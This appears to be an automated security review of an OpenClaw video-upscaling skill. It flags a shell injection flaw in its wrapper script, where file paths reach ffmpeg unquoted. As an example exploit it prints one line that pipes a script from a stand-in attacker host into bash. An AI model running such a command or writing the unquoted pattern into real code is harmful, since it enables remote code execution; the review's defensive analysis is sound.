Usage Guidance
This skill appears coherent with its purpose: it runs local upscaling tools (Real-ESRGAN / Waifu2x) via a wrapper script. Before installing or running: (1) verify the GitHub release URLs and checksums for the prebuilt binaries you download, (2) inspect and run the script in a controlled environment—it will extract many frames and can use lots of CPU/GPU, disk, and memory, (3) note the default cache path (~/.openclaw/cache/video-upscale) and the 5-minute max duration limit in the script (adjust if you expect longer inputs), and (4) ensure you trust the prebuilt binaries (they run as local executables). If you want additional assurance, build the upscalers from source or run them in an isolated container/VM.
Capability Analysis
Type: OpenClaw Skill
Name: video-upscale
Version: 1.4.0
The skill is classified as suspicious due to a critical shell injection vulnerability in `scripts/upscale_video.sh`. User-controlled inputs like `INPUT_PATH` and `OUTPUT_PATH` are directly used in `ffprobe` and `ffmpeg` commands without proper sanitization or quoting, allowing for arbitrary command execution (RCE). For example, a malicious `filepath` could execute `curl http://evil.com/payload.sh | bash`. The `SKILL.md` defines the interface that passes these potentially untrusted inputs to the script. Additionally, the script allows overriding paths to external tools via environment variables, which could be abused in a compromised environment.
Capability Assessment
Purpose & Capability
Name/description, SKILL.md, INSTALL.md and the provided script all focus on local video upscaling. Declared required binaries (ffmpeg, bc, md5sum) and downloads of Real-ESRGAN/Waifu2x releases are consistent with the stated functionality.
Instruction Scope
Runtime instructions and the script operate on local files only: extract frames, call local upscaling binaries, re-encode, and cache results. The script does not read unrelated system files, network endpoints, or secret env vars. It does create a cache directory under ~/.openclaw by default.
Install Mechanism
There is no automated install spec in the skill bundle (instruction-only), but INSTALL.md instructs the user to curl GitHub release zip files and unzip them into ~/video-tools. Those are standard GitHub release URLs (traceable) but downloading and executing prebuilt binaries always carries the usual trust risk—user should verify release source/checksums before running.
Credentials
No credentials or sensitive env vars are requested. INSTALL.md suggests optional environment variables that only point to local tool locations and a cache path. The environment access is proportional to the task.
Persistence & Privilege
Skill does not request always:true, does not modify other skills, and is run on-demand. It writes cache under a user-local path and creates temporary working directories; this is within expected scope.
How to Use
- Make sure OpenClaw is installed (local or Docker)
- Run the install command in chat:
/install video-upscale - After installation, invoke the skill by name or use
/video-upscale - Provide required inputs per the skill's parameter spec and get structured output
